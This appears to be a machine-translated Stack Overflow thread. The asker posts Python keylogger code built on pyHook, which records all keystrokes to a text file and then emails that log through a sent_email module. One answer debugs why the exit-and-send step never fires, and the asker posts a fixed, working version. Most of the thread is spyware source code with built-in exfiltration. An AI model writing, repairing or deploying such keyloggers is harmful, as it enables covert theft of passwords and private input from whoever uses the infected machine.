-1

我有下面的代码以及与文件一起发送电子邮件的代码,因此通过从库中导入它,我想在文件关闭后和程序退出之前执行它但它没有发生我尝试到处搜索,似乎没有一个钉了它。两个代码(keloger 和 sent_email)分别工作,因此通过从 shell 执行 sent_email 它发送文件而不是从内部模块。

任何帮助将不胜感激

import pythoncom
import pyHook
import sent_email


log = ""
logpath = "keyEvent.txt"

openfile = open(logpath, "w")
openfile.write("")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 15:
            openfile.close()
            sent_email.main()
            exit()
        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

while True:
    pythoncom.PumpMessages()

但是,如果我在 openfile.write(log) 之后移动 sent_email.main() 它会在文件关闭之前发送电子邮件和附件?

4

2 回答 2

0

从外观上看,代码永远不会退出。这块...

try:
    global log
    if event.Ascii == 27:
        log = "[ESC]"
    elif event.Ascii == 8:
        log = "[Backspace]"
    elif event.Ascii == 15:
        openfile.close()
        sent_email.main()
        exit()
    elif event.Ascii == 13:
        log = "\n"
    elif event.Ascii == 0:
        log = ""
    else:
        log = chr(event.Ascii)
    openfile.write(log)
except:
    pass

...你调用exit()if的地方event.Ascii == 15不起作用,因为exit()Python 中的工作方式是引发一个SystemExit异常,这将被你的裸except:子句捕获,并被忽略。

您可能需要更改except:为,except Exception:以便它可以捕获SystemExitand之外的所有异常KeyboardInterrupt- 后者是 Python 在您按 CTRL-C 时生成的。

除此之外,我认为该代码块没有任何问题。


更新

这个想法是除非您关闭命令窗口,否则代码不会退出。

好的。

我只是不明白为什么它不发送电子邮件。

好吧,以您的方式使用裸except:子句的另一个问题是它掩盖了意外的异常。我建议暂时更改代码...

except:
    pass

...到...

except:
    raise

...只是检查调用sent_email.main()不会引发异常。

如果这不是问题,您确定该elif event.Ascii == 15:块是否被调用过 - 这是一种奇怪的情况(CTRL-O)。

也许您应该在其中添加一些print语句以查看发生了什么-例如...

elif event.Ascii == 15:
    print "Got ASCII 15 - closing file"
    openfile.close()
    print "About to send email"
    sent_email.main()
    print "About to exit"
    exit()
于 2013-05-17T16:15:07.590 回答
0

所以这就是我让代码工作的方式谢谢Aya你触发了我的记忆

import pythoncom
import pyHook
import sent_email
from apscheduler.scheduler import Scheduler


log = ""
logpath = "log.txt"

openfile = open(logpath, "w")
openfile.write("")



def OnKeyboardEvent(event):
    try:
        global log
        if event.Ascii == 27:
            log = "[ESC]"
        elif event.Ascii == 8:
            log = "[Backspace]"
        elif event.Ascii == 3:
            print "Closing"
            openfile.close()
            sent_email.main()
            exit()

        elif event.Ascii == 13:
            log = "\n"
        elif event.Ascii == 0:
            log = ""
        else:
            log = chr(event.Ascii)
        openfile.write(log)

    except:
        pass
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()


while True:
    pythoncom.PumpMessages()
于 2013-05-18T01:16:19.603 回答